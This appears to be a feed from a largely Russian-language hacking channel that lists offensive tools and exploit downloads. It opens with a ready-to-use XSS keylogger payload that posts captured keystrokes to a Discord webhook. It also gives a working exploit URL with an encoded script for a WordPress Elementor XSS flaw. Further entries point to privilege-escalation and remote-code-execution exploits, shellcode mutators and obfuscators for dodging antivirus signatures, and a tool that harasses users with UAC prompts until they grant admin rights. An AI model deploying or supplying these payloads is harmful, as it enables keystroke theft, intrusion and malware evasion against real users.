XSS Payload - Discord Keylogger
usage:
<img src onerror='let x=!1,l="";document.onkeypress=function(a){l+=a.key,x=!0},setInterval(()=>{x&&(fetch("//discord.com/api/webhook/...",{method:"post",headers:{"Content-Type":"application/json"},body:JSON.stringify({content:l})}),x=!1)},1e3);'>

#discord #xss

Wordpress - XSS ( CVE-2022-29455)
/wp-content/plugins/elementor/assets/js/frontend.min.js
usage:
https://target_site/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoibnVsbCIsImh0bWwiOiI8c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0PiJ9Cg==

#wordpress #xss

CVE-2022-42046 Наконец то опубликовали
local privilege escalation
POC download

#windows #lpe #poc

Linux kernel exploit development
*
book

#exploiting #linux

Рубрика - нам пишут
Hey, I've got pretty cool project that you could put on proxybar
*
Shellcodev
это инструмент, предназначенный для помощи в автоматизации создания шелл-кодов.

download

#shellcode

Force Admin
Создаем бесконечные запросы UAC, заставляющие пользователя работать от имени администратора.
Лол, ну то есть админа тупо достали)))) как достать соседа
download

Коллекция Exploits - MacOS
*
CVE-2022-22583
CVE-2022-22616
CVE-2022-22639
CVE-2022-26690
CVE-2022-26712
CVE-2022-26728
CVE-2022-32786
CVE-2022-32800
*
download

#exploit #macOS

Hidden firewall in Linux Kernel
Как дополнительный рубеж безопасности для сервера
*
ReadME
*
DownloadME
*
WatchMe

WebKit+Kernel exploit chain for all PS Vita firmwares

Ну вдруг вам нужно)

download

Kernel Exploits Recipes Notebook
read

#linux #kernel #exploit

Exploiting CVE-2022-42703 - Bringing back the stack attack
Когда протекает память - почитать

#linux #memory #exploit

Выносите святых, опять спулер (стар, но автоматичен)

#windows #spooler #exploit #for_fun

Gepetto: IDA plugin which queries OpenAI's ChatGPT to explain decompiled functions
download

#ida #ai

Casper-fs
Это генератор пользовательских скрытых модулей ядра Linux. Каждый модуль работает в файловой системе для защиты и сокрытия секретных файлов. Понимаете ?)))
*
download
*
video

Shellcode Mutator
Прячемся от сигнатур !
download

usage:
mutate.py [-h] [-t SHELLCODE_TEMPLATE] [-s SHELLCODE_FILE] [-m MORPH_PERCENTAGE] [-v] [-x86]

#shellcode #Morphin

Alcatraz
двоичный обфускатор под x64, способный запутывать различные PE-файлы, включая:
.exe
.dll
.sys

download

CVE-2022-44877
Centos Web Panel 7 Unauthenticated Remote Code Execution
download

#centos #rce